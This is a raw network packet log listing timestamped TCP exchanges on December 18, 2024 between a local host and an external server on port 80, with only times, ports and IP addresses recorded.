Dec 18, 2024 14:07:44.280066013 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.280384064 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.280438900 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.280777931 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.280864954 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.280904055 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.281552076 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.281616926 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.281660080 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.282497883 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.282557011 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.282603025 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.283189058 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.283232927 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.283279896 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.284012079 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.284111977 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.284168005 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.284913063 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.284970045 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.285015106 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.285686016 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.285850048 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.286525011 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.286561966 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.286577940 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.286623955 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.287350893 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.287363052 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.287416935 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.288134098 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.331412077 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.348866940 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.348969936 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.349023104 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.349232912 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.349327087 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.349373102 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.349994898 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.350089073 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.350133896 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.350930929 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.351092100 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.351159096 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.351900101 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.351912022 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.351953983 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.352418900 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.352507114 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.352556944 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.353329897 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.353346109 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.353394032 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.354072094 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.354130983 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.354176998 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.354907036 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.354947090 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.355005980 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.355777979 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.355791092 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.355833054 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.356493950 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.356571913 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.356621981 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.357352972 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.357635975 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.357690096 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.358133078 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.358185053 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.358228922 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.358936071 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.409548044 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.416724920 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.416742086 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.416806936 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.417094946 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.417210102 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.417254925 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.417448997 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.418054104 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.418106079 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.418127060 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.418816090 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.418864012 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.419039011 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.419115067 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.419225931 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.419976950 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.419990063 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.420058012 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.420675993 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.420752048 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.420803070 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.421509981 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.421782970 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.421796083 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.421823978 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.422559023 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.422600985 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.422616959 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.423367977 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.423429966 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.423474073 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.424318075 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.424329042 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.424365044 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.425163031 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.425188065 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.425229073 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.426045895 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.426059961 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.426096916 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.426644087 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.426678896 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.426825047 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.427571058 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.427613974 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.427619934 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.428266048 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.428306103 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.428386927 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.429198027 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.429213047 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.429240942 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.429949045 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.429989100 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.430118084 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.430807114 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.430852890 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.430948973 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.431591988 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.431631088 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.431788921 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.432413101 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.432457924 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.432537079 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.433288097 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.433331966 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.433391094 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.434220076 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.434231997 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.434267998 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.435177088 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.435189009 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.435225964 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.435700893 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.435744047 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.436033964 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.436551094 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.436605930 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.436677933 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.437356949 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.437407970 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.437457085 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.438370943 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.438448906 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.438580990 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.439157963 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.439203978 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.439354897 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.439851046 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.439903975 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.439960003 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.440937996 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.440994024 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.441039085 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.441986084 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.442044020 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.442054033 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.442454100 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.442504883 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.442523003 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.443144083 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.443190098 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.443248034 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.444024086 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.444071054 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.444128036 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.444789886 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.444835901 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.444884062 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.445648909 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.445699930 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.445751905 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.446460009 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.446504116 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.446552038 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.447297096 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.447350025 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.447391033 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.448093891 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.448132038 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.448180914 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.449151039 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.449196100 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.541014910 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.541047096 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.541136980 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.541220903 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.541261911 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.541312933 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.542129040 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.542140961 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.542181015 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.543046951 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.543061018 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.543113947 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.543596983 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.543956995 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.544004917 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.544485092 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.544934988 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.544986010 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.545268059 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.545371056 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.545416117 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.546166897 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.546180010 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.546220064 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.547362089 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.547374964 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.547415018 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.547714949 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.547838926 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.547885895 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.548538923 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.548640966 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.548686981 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.549741983 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.549840927 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.549894094 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.550575018 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.550586939 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.550638914 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.551027060 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.597119093 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.608788967 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.608800888 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.608886003 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.609220028 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.609232903 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.609273911 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.610414028 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.610425949 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.610471964 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.610553980 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.610564947 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.610601902 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.611378908 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.611392021 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.611429930 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.612003088 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.612243891 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.612293959 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.612859011 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.612958908 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.613032103 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.613617897 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.613775015 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.613823891 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.613960981 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.614835978 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.614849091 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.614881992 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.615456104 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.615504980 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.615582943 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.616986990 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.617000103 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.617033005 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.617146969 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.617187977 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.617218018 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.617924929 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.617971897 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.618055105 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.618736982 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.618788958 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.618843079 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.619862080 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.619874954 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.619910955 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.621313095 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.621328115 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.621367931 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.621373892 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.621417046 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.621568918 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.622035027 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.622047901 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.622076035 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.622909069 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.622922897 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.622962952 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.623902082 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.623914957 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.623960018 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.624527931 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.624576092 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.624665022 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.625390053 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.625402927 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.625437021 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.626239061 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.626251936 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.626368999 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.627012014 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.627078056 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.627155066 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.628156900 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.628170967 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.628206968 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.628660917 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.628711939 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.629200935 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.629440069 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.629493952 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.629725933 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.630314112 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.630362034 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.630592108 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.631376982 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.631390095 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.631422043 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.632653952 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.632666111 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.632705927 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.633610010 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.633647919 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.633687973 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.634593964 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.634605885 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.634644985 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.635363102 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.635375977 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.635987997 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.636038065 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.636049032 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.636082888 CET	49707	80	192.168.2.8	176.113.115.178
